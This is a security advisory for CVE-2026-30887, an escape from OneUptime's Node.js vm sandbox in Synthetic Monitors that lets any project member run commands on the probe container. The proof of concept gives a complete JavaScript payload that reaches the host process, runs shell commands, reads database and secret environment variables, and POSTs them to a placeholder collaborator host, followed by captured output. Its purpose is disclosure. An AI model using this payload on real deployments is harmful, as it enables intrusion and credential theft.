CVE-2026-30887: OneUptime Affected by Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE

Summary OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.

Details The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():

typescript const vmPromise = vm.runInContext(script, sandbox, { ... });

The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.

When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).

An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require childprocess to execute arbitrary shell commands.

Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIMESECRET, DATABASEPASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.

PoC This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.

1. Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default). 2. Navigate: Go to Monitors > Create New Monitor. 3. Monitor Type: Select Synthetic Monitor. 4. Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types". 5. Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:

javascript return new Promise((resolve) => { try { // 1. Traverse the prototype chain to grab the host's process object const proc = this.constructor.constructor('return process')(); // 2. Load the host's childprocess module & run a system command const cp = proc.mainModule.require('childprocess'); const output = cp.execSync('ls -la /usr/src/app').toString(); // 3. (Optional) Read sensitive environment secrets const secret = proc.env.ONEUPTIMESECRET; const dbpass = proc.env.DATABASEPASSWORD; // 4. Exfiltrate the data via the native http module const httpreal = proc.mainModule.require('http'); const req = httpreal.request({ hostname: 'YOUROASTORBURPCOLLABORATORURLHERE', port: 80, path: '/', method: 'POST' }, (res) => { resolve("EXFILTRATIONSTATUS: " + res.statusCode); }); req.on('error', (e) => resolve("EXFILTRATIONERROR: " + e.message)); const payloadData = JSON.stringify({ rceoutput: output, secret: secret, db: dbpass }); req.write(payloadData); req.end(); } catch(e) { resolve("CRITICALERROR: " + e.message); } });

6. Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.

OUTPUT: {"rceoutput":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 nodemodules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"}

<img width="1364" height="470" alt="image" src="https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba" />

Impact What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.

Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.

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